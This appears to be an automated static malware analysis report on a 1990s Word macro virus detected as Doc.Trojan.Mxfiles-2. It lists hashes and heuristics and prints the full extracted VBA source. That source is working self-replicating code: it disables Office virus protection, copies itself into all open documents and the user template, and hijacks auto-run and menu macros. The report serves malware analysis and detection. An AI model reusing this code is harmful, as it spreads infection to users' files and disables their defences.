Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 91364ab028431cf1…

MALICIOUS

Office (OLE)

30.0 KB Created: 1996-09-26 00:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f4e70542251a5b4993ed34cf7a63ad24 SHA-1: d82b9b8094445a98cfe37d8d4abd15a56c3f12e2 SHA-256: 91364ab028431cf161b29a24c67e20a80ead6b49ce1ad3082119c290143909ff
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits characteristics of a legacy macro virus, including the presence of WordBasic and VBA macros. The 'girls' subroutine appears to be designed to copy itself to other documents and templates, indicating a propagation mechanism. The AutoOpen and AutoClose macros further suggest malicious intent upon opening or closing the document. The ClamAV detection as 'Doc.Trojan.Mxfiles-2' reinforces the malicious classification.

Heuristics 6

  • ClamAV: Doc.Trojan.Mxfiles-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mxfiles-2
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
     Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub autoclose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2120 bytes
SHA-256: 865de073de9af07a44b47d8a8386eb21ce6b687eb6ce498dd1262f21580a8ff4
Detection
ClamAV: Doc.Trojan.Mxfiles-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "girls"
Sub girls()
 On Error Resume Next
 Application.ScreenUpdating = False
 Application.DisplayAlerts = wdAlertsNone
 WordBasic.DisableAutoMacros 0
 Options.VirusProtection = False
 Options.SaveNormalPrompt = False
 Options.ConfirmConversions = False
 TDFname = ThisDocument.FullName
 For j = 1 To Documents.Count
    If Documents.Item(j).Path <> "" Then
        destin = Documents.Item(j).FullName
        SetAttr destin, vbNormal
    Else
        destin = Documents.Item(j).Name
    End If
 If StrComp(TDFname, destin, 1) <> 0 Then
   With Application
    .OrganizerCopy Source:=TDFname, Destination:=destin, Name:="girls", Object:=wdOrganizerObjectProjectItems
    .OrganizerCopy Source:=TDFname, Destination:=destin, Name:="SFrm", Object:=wdOrganizerObjectProjectItems
    End With
    If Documents.Item(j).Path <> "" Then
        Documents.Item(j).Save
    End If
 End If
 ddt = Documents.Item(j).AttachedTemplate
 ddt1 = Options.DefaultFilePath(Path:=wdUserTemplatesPath)
 ddt2 = ddt1 + "\" + ddt
 SetAttr ddt2, vbNormal
 If StrComp(TDFname, ddt2, 1) <> 0 Then
    With Application
    .OrganizerCopy Source:=TDFname, Destination:=ddt2, Name:="girls", Object:=wdOrganizerObjectProjectItems
    .OrganizerCopy Source:=TDFname, Destination:=ddt2, Name:="SFrm", Object:=wdOrganizerObjectProjectItems
    End With
 End If
 Next j
 Application.ScreenUpdating = True
 Effect
End Sub
Sub Effect()
  On Error Resume Next
 If Day(Date) = Month(Date) Then
  Assistant.Visible = True
  Assistant.Animation = msoAnimationGetArtsy
  SFrm.Show
 End If
End Sub
Sub toolsmacro()
 girls
End Sub
Sub ViewVBCode()
  girls
End Sub
Sub ToolsCustomize()
 girls
End Sub
Sub FileTemplates()
  girls
End Sub
Sub AutoOpen()
 girls
End Sub
Sub autoclose()
 girls
End Sub
Sub Autonew()
 girls
End Sub